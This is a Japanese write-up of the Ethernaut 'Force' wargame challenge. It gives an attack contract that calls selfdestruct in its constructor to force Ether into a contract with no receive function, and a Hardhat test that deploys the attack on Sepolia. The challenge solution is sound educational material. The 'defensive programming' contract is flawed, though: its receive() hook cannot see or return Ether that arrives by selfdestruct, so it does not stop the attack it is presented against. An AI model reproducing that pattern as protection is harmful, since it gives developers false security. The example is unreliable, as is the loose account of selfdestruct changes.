AiAda Docs / Smart Contract Writeups

Appearance

Return to top
On this page

スマートコントラクトの強制送金：selfdestruct メカニズムを利用した Ethernaut「Force」チャレンジの詳細解説

はじめに

Ethereum スマートコントラクトの世界では、通常の送金方法以外にも資金を移動させる特殊な方法が存在します。Ethernautの「Force」チャレンジは、一見すると資金を受け取る機能を持たないコントラクトに対して、強制的にEtherを送金する方法を学ぶための教育的な課題です。本記事では、このチャレンジの技術的背景、解決方法、および関連するセキュリティ考慮事項について詳細に解説します。

問題の概要と技術的背景

コントラクトの分析

提供された Force.sol コントラクトは驚くほどシンプルです：

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

このコントラクトには以下の特徴があります：

  1. 明示的な受信関数の欠如：receive() や fallback() 関数が定義されていない
  2. 送金関数の欠如：payable 関数が存在しない
  3. 最小限の実装：コメント以外の実装コードが一切ない

通常のEthereum送金では、コントラクトが資金を受け取るためには以下のいずれかの方法が必要です：

  • payable 修飾子が付いた関数
  • receive() 関数（Ether受信用）
  • fallback() 関数（データ付きまたはデータなしの呼び出しに対応）

チャレンジの目標

このレベルでは、Force コントラクトの残高をゼロより大きくすることが求められています。つまり、資金を受け取る機能を持たないコントラクトに対して、強制的にEtherを送金する方法を見つける必要があります。

技術的解決策：selfdestruct の活用

selfdestruct オペコードの仕組み

Solidityにおける selfdestruct（以前は suicide）は、コントラクトを削除し、その残高を指定したアドレスに強制的に送金する特殊な操作です。この操作の重要な特性は：

  1. 受信側の同意が不要：送金先のコントラクトが資金を受け取る機能を持っていなくても強制送金が可能
  2. ガス消費が少ない：通常の送金よりも少ないガスで実行可能
  3. 不可逆的な操作：一度実行すると元に戻せない

攻撃コントラクトの実装

解決策として提供されている Hack.sol は以下のように実装されています：

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract Hack {
    // コンストラクタで selfdestruct を実行
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
}

このコントラクトの動作原理：

  1. デプロイ時の資金受け取り：payable コンストラクタにより、デプロイ時にEtherを受け取る
  2. 即時的な自己破壊：コンストラクタ内で selfdestruct(_target) を呼び出し
  3. 強制送金の実行：コントラクトの残高（デプロイ時に送金されたEther）が _target アドレスに強制的に送金される

詳細な実装とテスト

テスト環境のセットアップ

以下のTypeScriptテストコードは、実際の攻撃シナリオを検証します：

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Force, Hack } from "../typechain-types";

describe("Force", function () {
  describe("Force testnet sepolia", function () {
    it("testnet sepolia Force selfdestruct", async function () {
      // ターゲットコントラクトのアドレス
      const FORCE_ADDRESS = "0xb6c2Ec883DaAac76D8922519E63f875c2ec65575";
      
      // Hackコントラクトのファクトリを取得
      const HackFactory = await ethers.getContractFactory("Hack");
      
      // Hackコントラクトをデプロイ（同時に1 Etherを送金）
      const hack = (await HackFactory.deploy(FORCE_ADDRESS, { 
        value: ethers.parseUnits("1", "ether") 
      })) as Hack;
      
      await hack.waitForDeployment();
      
      // Forceコントラクトの残高を確認
      const forceBalance = await ethers.provider.getBalance(FORCE_ADDRESS);
      
      // 残高が1 Etherになっていることを確認
      expect(forceBalance).to.be.equals(ethers.parseUnits("1", "ether"));
    });
  });
});

実行フローの詳細解説

  1. 初期状態：

    • Force コントラクトの残高：0 Ether
    • Force コントラクトは資金を受け取る機能なし

  2. 攻撃コントラクトのデプロイ：

    • Hack コントラクトのコンストラクタが呼び出される
    • デプロイ時に1 Etherが Hack コントラクトに送金される
    • コンストラクタ内で selfdestruct(FORCE_ADDRESS) が実行される

  3. 資金移動のメカニズム：

    • selfdestruct の実行により、Hack コントラクトは削除される
    • Hack コントラクトの残高（1 Ether）が Force コントラクトアドレスに強制的に送金される
    • この操作はEVMレベルで実行され、Force コントラクトの同意は不要

  4. 最終状態：

    • Force コントラクトの残高：1 Ether
    • Hack コントラクト：削除済み（アドレスは存在するがコードなし）

セキュリティ的考察と実践的影響

selfdestruct のセキュリティリスク

このチャレンジが示すように、selfdestruct は強力な操作ですが、以下のリスクがあります：

  1. 意図しない資金受信：コントラクトが資金を受け取ることを想定していない場合でも、selfdestruct を通じて資金が送られてくる可能性がある
  2. ロジックの破綻：コントラクトのロジックが「残高がゼロであること」を前提としている場合、予期しない資金流入により機能が破綻する可能性がある

防御的プログラミングのベストプラクティス

このような攻撃からコントラクトを保護するためには：

solidity
// 防御的な実装例
contract SecureContract {
    // コントラクトが資金を受け取ることを明示的に許可するフラグ
    bool public acceptFunds;
    
    // オーナーのみが資金受信を許可できる
    address public owner;
    
    constructor() {
        owner = msg.sender;
        acceptFunds = false;
    }
    
    // 資金受信を許可する関数
    function enableFunding() external {
        require(msg.sender == owner, "Only owner can enable funding");
        acceptFunds = true;
    }
    
    // 資金の引き出し関数
    function withdraw() external {
        require(msg.sender == owner, "Only owner can withdraw");
        payable(owner).transfer(address(this).balance);
    }
    
    // 予期しない資金流入を検知するためのイベント
    event UnexpectedFundsReceived(uint256 amount, address sender);
    
    // receive関数で資金流入を監視
    receive() external payable {
        if (!acceptFunds) {
            // 予期しない資金流入を記録
            emit UnexpectedFundsReceived(msg.value, msg.sender);
            // 必要に応じて資金を返却
            payable(msg.sender).transfer(msg.value);
        }
    }
}

selfdestruct の将来の変更

Ethereumのアップグレード（特にEIP-4758など）では、selfdestruct オペコードの動作変更が提案されています。現在のバージョンでは有効ですが、将来のアップデートでは以下の変更が検討されています：

  1. 資金の強制送金機能の削除：selfdestruct はコントラクトコードの削除のみを行い、資金の自動送金を行わない
  2. 段階的な廃止：既存のコントラクトとの互換性を考慮した移行期間の設定

実世界での応用例と類似の攻撃ベクトル

実際のインシデント事例

  1. Parity Wallet Hack (2017年)：selfdestruct と権限設定の不備を組み合わせた攻撃
  2. 各種DeFiプロトコル：資金計算ロジックと実際の残高の不一致を利用した攻撃

関連する攻撃ベクトル

  1. 強制Ether送金：本記事で解説した selfdestruct を利用した方法
  2. コインbase送金：マイニング報酬やステーキング報酬の送金先としてコントラクトを指定
  3. 事前送金済みコントラクト：デプロイ前にすでに資金が送金されているコントラクトの作成

まとめと教育的意義

Ethernautの「Force」チャレンジは、Ethereumスマートコントラクト開発における重要な教訓を提供しています：

  1. コントラクトの想定外の状態変化：開発者が想定していない方法でコントラクトの状態が変化しうることを理解する
  2. EVMの低レベル操作の理解：高レベルなSolidityコードの背後で動作するEVMオペコードの挙動を理解する重要性
  3. 防御的プログラミング：外部からのあらゆる入力（資金流入を含む）を検証する必要性

このチャレンジを通じて、スマートコントラクト開発者は以下のスキルを習得できます：

  • selfdestruct オペコードの挙動とその影響の理解
  • コントラクトの残高管理に関するセキュリティ考慮事項の認識
  • 想定外の資金流入に対処する防御的プログラミング手法の習得

参考文献とさらなる学習リソース

  1. Ethereum Yellow Paper：EVMの正式な仕様
  2. Solidity公式ドキュメント：selfdestruct の使用方法と注意点
  3. Ethernaut他のチャレンジ：関連するセキュリティ課題の学習
  4. OpenZeppelinのセキュリティガイド：スマートコントラクトのセキュリティベストプラクティス

この知識を実際のプロジェクトに応用する際は、常に最新のEthereum改善提案（EIP）とセキュリティプラクティスを参照し、定期的な監査とテストを実施することが重要です。

Built with AiAda

Copyright © 2026